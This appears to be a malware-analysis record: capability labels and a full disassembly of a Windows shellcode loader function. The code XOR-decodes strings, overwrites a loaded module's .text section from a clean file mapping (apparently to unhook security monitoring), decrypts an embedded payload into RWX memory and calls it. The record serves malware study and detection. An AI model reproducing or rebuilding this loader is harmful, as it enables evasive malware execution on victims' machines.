Function at 0x140002a10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
call fcn.140001570
movzx eax, byte [0x140063aa0]
movzx ecx, byte [0x140063aaa]
mov rdx, qword [0x140063aa0]
mov edi, dword [0x140063ae8]
shl eax, 8
xor byte [0x140063aec], dh
movq xmm0, qword [0x140063ae0]
or eax, ecx
movzx ecx, byte [0x140063aa9]
movq xmm2, rdx
shl eax, 8
pxor xmm0, xmm2
movq qword [0x140063ae0], xmm0
or eax, ecx
movzx ecx, byte [0x140063aa8]
shl eax, 8
or eax, ecx
lea rcx, [0x140063ae0]
xor edi, eax
mov dword [0x140063ae8], edi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movzx edx, byte [0x140063aaa]
mov edi, dword [0x140063ad8]
mov rbx, rax
movzx eax, byte [0x140063aa0]
movq xmm1, qword [0x140063aa0]
movq xmm0, qword [0x140063ad0]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
shl eax, 8
or eax, edx
movzx edx, byte [0x140063aa9]
pxor xmm0, xmm1
movq qword [0x140063ad0], xmm0
shl eax, 8
or eax, edx
movzx edx, byte [0x140063aa8]
shl eax, 8
or eax, edx
lea rdx, [0x140063ad0]
xor edi, eax
movzx eax, word [0x140063aa1]
mov dword [0x140063ad8], edi
movzx edi, word [0x140063adc]
xor edi, eax
mov word [0x140063adc], di
call rsi
movzx ecx, byte [0x140063aaa]
mov rdx, qword [0x140063aa0]
mov qword [0x140063ab0], rax
movzx eax, byte [0x140063aa0]
movq xmm0, qword [0x140063b20]
mov edi, dword [0x140063b28]
movq xmm3, rdx
shl eax, 8
xor byte [0x140063b2c], dh
lea rdx, [0x140063b20]
or eax, ecx
movzx ecx, byte [0x140063aa9]
pxor xmm0, xmm3
movq qword [0x140063b20], xmm0
shl eax, 8
or eax, ecx
movzx ecx, byte [0x140063aa8]
shl eax, 8
or eax, ecx
mov rcx, rbx
xor edi, eax
mov dword [0x140063b28], edi
call rsi
mov qword [0x140063ac0], rax
call fcn.140002990
mov edx, eax
mov eax, 1
test dl, dl
je 0x140002bb3
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdi, [rsp + 0x80]
mov ecx, 6
movq xmm0, qword [0x140063af0]
mov qword [rsp + 0x50], rax
mov rsi, rax
xor eax, eax
movq xmm1, qword [0x140063aa0]
rep stosd dword [rdi], eax
movzx eax, word [0x140063af8]
movzx edi, word [0x140063aa8]
lea rcx, [0x140063af0]
pxor xmm0, xmm1
lea r15, [0x140063aa0]
movq qword [0x140063af0], xmm0
xor eax, edi
mov word [0x140063af8], ax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [rsp + 0x80]
mov r9d, 0x18
mov rcx, rsi
mov rdx, rax
mov qword [rsp + 0x58], rax
call sub.KERNEL32.dll_K32GetModuleInformation
lea r10, [0x140063b00]
mov rbp, qword [rsp + 0x80]
xor edx, edx
mov rax, r10
lea r8, [r10 + 0x1e]
movsxd rcx, edx
add edx, 1
movzx ecx, byte [r15 + rcx]
xor byte [rax], cl
lea rcx, [rax + 1]
cmp r8, rcx
je 0x140002c85
cmp edx, 0xb
jne 0x140002c80
add rax, 2
movzx edx, byte [r15]
xor byte [rcx], dl
cmp r8, rax
je 0x140002c85
mov edx, 1
jmp 0x140002c4f
mov rax, rcx
jmp 0x140002c4f
xor eax, eax
xor edx, edx
mov rcx, r10
xor r9d, r9d
mov dword [rsp + 0x28], edx
mov r8d, 1
mov edx, 0x80000000
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x28], rcx
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], r8d
mov r8d, 0x1000002
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov qword [rsp + 0x20], r9
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd r12, dword [rbp + 0x3c]
mov qword [rsp + 0x40], rax
add r12, rbp
movzx esi, word [r12 + 6]
test si, si
je 0x140002d5c
lea rax, [rsp + 0x7c]
movzx edi, word [r12 + 0x14]
lea r14, [r12 + 0x18]
xor ebx, ebx
mov qword [rsp + 0x48], rax
nop dword [rax + rax]
lea rdx, [rbx + rbx*4]
lea rax, [rdi + r14]
lea r13, [rax + rdx*8]
lea rdx, str..text
mov rcx, r13
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140002dd0
add rbx, 1
cmp bx, si
jb 0x140002d30
lea rbx, [0x140003100]
mov r9d, 0x40
mov edx, 0x60998
xor ecx, ecx
mov r8d, 0x1000
lea rsi, [rbx + 0x60998]
call qword [0x140063ac0]
mov r9, rbx
xor edx, edx
mov rcx, rax
mov rax, rbx
movsxd r8, edx
add edx, 1
movzx r8d, byte [r15 + r8]
xor byte [rax], r8b
lea r8, [rax + 1]
cmp r8, rsi
je 0x140002e50
cmp edx, 0xb
jne 0x140002e48
add rax, 2
movzx edx, byte [r15]
xor byte [r8], dl
cmp rax, rsi
je 0x140002e50
mov edx, 1
jmp 0x140002d8e
mov rdi, qword [rsp + 0x48]
mov ecx, dword [r13 + 0xc]
mov r8d, 0x40
mov dword [rsp + 0x7c], 0
mov edx, dword [r13 + 8]
add rbx, 1
mov r9, rdi
add rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [r13 + 0xc]
mov rax, qword [rsp + 0x40]
mov r8d, dword [r13 + 8]
lea rcx, [rbp + rdx]
add rdx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov ecx, dword [r13 + 0xc]
mov edx, dword [r13 + 8]
mov r9, rdi
mov r8d, dword [rsp + 0x7c]
add rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx esi, word [r12 + 6]
cmp bx, si
jae 0x140002d5c
movzx edi, word [r12 + 0x14]
jmp 0x140002d30
mov rax, r8
jmp 0x140002d8e
mov r8d, 0x60998
mov rdx, r9
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, rax
xor eax, eax
movsxd rdx, eax
add eax, 1
movzx edx, byte [r15 + rdx]
xor byte [rbx], dl
lea rdx, [rbx + 1]
cmp rdx, rsi
je 0x140002e99
cmp eax, 0xb
jne 0x140002e94
add rbx, 2
movzx eax, byte [r15]
xor byte [rdx], al
cmp rsi, rbx
je 0x140002e99
mov eax, 1
jmp 0x140002e63
mov rbx, rdx
jmp 0x140002e63
call rcx
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call rbx
mov rcx, qword [rsp + 0x60]
call rbx
mov rcx, qword [rsp + 0x68]
call rbx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x140002b9f